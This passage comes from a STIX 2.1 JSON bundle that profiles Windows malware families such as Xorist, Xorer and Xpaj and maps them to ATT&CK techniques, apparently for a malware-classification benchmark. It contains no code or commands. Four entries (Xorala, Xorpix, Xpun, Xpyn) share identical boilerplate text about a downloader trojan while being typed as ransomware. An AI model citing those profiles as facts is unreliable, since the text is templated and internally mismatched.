      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Xnhmeb",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xnhmeb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xnhmeb"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--083e70a8-24e6-5184-abc6-5cb171dbddc5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39800457-ccda-5cb2-8947-b9e2a13d90fa",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xnhmeb exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--985c65d2-a88e-5f15-ace6-0424af70dd1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39800457-ccda-5cb2-8947-b9e2a13d90fa",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xnhmeb exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de63fb4f-3da9-5090-9ce6-630c013da249",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39800457-ccda-5cb2-8947-b9e2a13d90fa",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xnhmeb exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9681bc01-16e2-5123-917b-29aebccb1f49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39800457-ccda-5cb2-8947-b9e2a13d90fa",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xnhmeb exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c7fd9853-d821-5bc5-a3e6-90f83e0835d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xorala",
      "description": "Trojan:Win32/Xorala is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Xorala</b><br>To an end-user, a Xorala infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Xorala is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Xorala is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Xorala frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Xorala reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xorala",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xorala"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff95e06b-9667-5349-b53a-32b4dcd1880c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7fd9853-d821-5bc5-a3e6-90f83e0835d2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xorala exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92d174de-353b-56ce-9002-f1d85e9646c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7fd9853-d821-5bc5-a3e6-90f83e0835d2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xorala exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f1a94a5-0448-52f0-8dd2-7bc95300636a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7fd9853-d821-5bc5-a3e6-90f83e0835d2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xorala exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab3f6913-36a5-5fb8-8ef2-ff25c4fd0d69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7fd9853-d821-5bc5-a3e6-90f83e0835d2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xorala exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a90ec827-7daa-55fb-b43f-09ef33677230",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7fd9853-d821-5bc5-a3e6-90f83e0835d2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xorala exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b0f2b65b-f4a1-5248-af2e-b8770aeba07e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xorer",
      "description": "Xorer (cataloged across security intelligence feeds under signatures including Virus:Win32/Xorer, Worm:Win32/Xorer, and Trojan.Xorer) is a notorious polymorphic Windows PE file infector and network worm active since 2006. Originating in East Asia, Xorer combines aggressive file infection with automated worm propagation over removable USB drives and local network shares. Upon execution, Xorer terminates endpoint security processes, hooks native file access APIs, and injects viral decryptor routines into 32-bit PE executable files across all mounted drives. Furthermore, it creates hidden autorun.inf files on flash drives, disables Windows Safe Mode, prevents access to the Registry Editor and Task Manager, and establishes encrypted backdoor connections to remote C2 servers. (Observed samples in benchmark: 25)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virus:Win32/Xorer",
        "Worm:Win32/Xorer",
        "Trojan.Xorer",
        "Win32/Xorer",
        "Xorer.worm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xorer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xorer"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--131b5036-a71d-5446-852f-f856c89efe54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xorist",
      "description": "Xorist (classified across the cybersecurity industry as Ransom:Win32/Xorist, Trojan-Ransom.Win32.Xorist, and Enigma/Xorist builder family) is a landmark, highly configurable ransomware construction kit active since 2010. Developed in Delphi/C++, the Xorist ransomware builder allows novice threat actors to generate customized ransomware binaries with configurable file extension targets, custom ransom note texts, and extortion demands via SMS or cryptocurrency. Xorist encrypts files using symmetric XOR, TEA (Tiny Encryption Algorithm), or AES algorithms, appending custom extensions (such as .xorist, .EnCiPhErEd, or user-defined strings) to encrypted files. Xorist displays a modal lock screen, disables Task Manager, and deletes Volume Shadow Copies. Because early builders used weak XOR keys or deterministic PRNGs, antimalware vendors and Kaspersky developed universal decryption tools for many Xorist variants. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Xorist",
        "Trojan-Ransom.Win32.Xorist",
        "Win32/Xorist",
        "Xorist Ransomware Builder",
        "Trojan-Ransom.Win32.Enigma"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xorist",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xorist"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e53f480-ed20-5bcb-ae37-57010b2c816a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--131b5036-a71d-5446-852f-f856c89efe54",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xorist exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be17e835-67f1-50dd-baec-d05698e65f1b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--131b5036-a71d-5446-852f-f856c89efe54",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xorist exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9dc4375-811f-563e-98c9-2cb4fbd8740f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--131b5036-a71d-5446-852f-f856c89efe54",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xorist exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6b2f523-ee1e-591e-96dc-3c02fa4179a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--131b5036-a71d-5446-852f-f856c89efe54",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xorist exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aee6094e-0749-5c80-a6bf-a358e947bf7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--131b5036-a71d-5446-852f-f856c89efe54",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xorist exhibits technique T1491 (Defacement (UI Manipulation))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--95754eab-da06-54cd-bd5f-f4ca47b1cafc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xorpix",
      "description": "Trojan:Win32/Xorpix is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Xorpix</b><br>To an end-user, a Xorpix infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Xorpix is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Xorpix is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Xorpix frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Xorpix reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xorpix",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xorpix"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81cdc661-375e-52d0-b351-785087c38b2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95754eab-da06-54cd-bd5f-f4ca47b1cafc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xorpix exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--481e4e80-5918-5556-8486-bd3a1a95b606",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95754eab-da06-54cd-bd5f-f4ca47b1cafc",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xorpix exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c28e93b-7d78-56d0-82ac-cbf5ddf1193e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95754eab-da06-54cd-bd5f-f4ca47b1cafc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xorpix exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f78cce84-b8a4-59ec-926c-abd1590e94ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95754eab-da06-54cd-bd5f-f4ca47b1cafc",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xorpix exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5de3f81c-239b-5845-8cc4-cd2622ca1b71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95754eab-da06-54cd-bd5f-f4ca47b1cafc",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xorpix exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--229b0422-e12f-59ee-875c-d0c7c6161476",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xpaj",
      "description": "Xpaj (historically documented as Virus:Win32/Xpaj, W32/Xpaj, and Trojan.Xpaj) is a sophisticated polymorphic parasitic file infector and click-fraud botnet family active since 2009. Unlike simple droppers, Xpaj traverses local hard drives and accessible network shares, searching for Win32 Portable Executable (.exe, .dll, .scr) files and appending its encrypted polymorphic decryption engine into file slack spaces or newly created PE sections. Once executed on an infected machine, Xpaj establishes an encrypted peer-to-peer (P2P) and DNS-based C2 network, executing hidden browser instances to generate fraudulent click-through revenue on advertising networks. Because of its deep polymorphic file infection, disinfecting an endpoint requires dedicated antivirus removal tools or clean re-imaging to avoid binary corruption. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virus:Win32/Xpaj",
        "W32/Xpaj.virus",
        "Win32/Xpaj.B",
        "Trojan.Win32.Xpaj",
        "Xpaj Infector"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xpaj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xpaj"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8adf4d48-8cb0-58a4-a65e-923daa8cca9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--229b0422-e12f-59ee-875c-d0c7c6161476",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xpaj exhibits technique T1055 (Process Injection (File Infection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b2236ca-08f4-5c4d-811d-570041197cf5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--229b0422-e12f-59ee-875c-d0c7c6161476",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xpaj exhibits technique T1014 (Rootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5b89808-abf4-5aea-9dd7-431634526be4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--229b0422-e12f-59ee-875c-d0c7c6161476",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xpaj exhibits technique T1027 (Obfuscated Files or Information: Polymorphism)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a4b6e43-534f-5dfa-a51c-3f3c6fc4f6cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--229b0422-e12f-59ee-875c-d0c7c6161476",
      "target_ref": "attack-pattern--d26b0080-b33f-58e9-a204-f4d14ddb8a23",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xpaj exhibits technique T1090.002 (Connection Proxy: Peer-to-Peer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce564a56-a0f5-5b96-8582-8c72a857d161",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--229b0422-e12f-59ee-875c-d0c7c6161476",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xpaj exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--63dd09a3-1938-56ce-8f46-18fc79f65969",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xpun",
      "description": "Trojan:Win32/Xpun is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Xpun</b><br>To an end-user, a Xpun infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Xpun is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Xpun is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Xpun frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Xpun reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xpun",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xpun"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e2b1bd8-706e-5952-bb00-59143c157a17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63dd09a3-1938-56ce-8f46-18fc79f65969",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xpun exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74f83d55-b49c-5dac-9376-9632806fec24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63dd09a3-1938-56ce-8f46-18fc79f65969",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xpun exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--532b5b2c-978f-54c2-8992-9373589cfd9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63dd09a3-1938-56ce-8f46-18fc79f65969",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xpun exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ed09e23-9879-5aea-a79d-b1aa53fa41b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63dd09a3-1938-56ce-8f46-18fc79f65969",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xpun exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6e5aca5-0014-562c-b1bf-c2fee6f45d36",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63dd09a3-1938-56ce-8f46-18fc79f65969",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xpun exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--55ec29ae-1e6a-5ad1-a3da-7131478798e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xpyn",
      "description": "Trojan:Win32/Xpyn is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Xpyn</b><br>To an end-user, an Xpyn infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Xpyn is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Xpyn is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Xpyn frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Xpyn reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xpyn",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xpyn"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
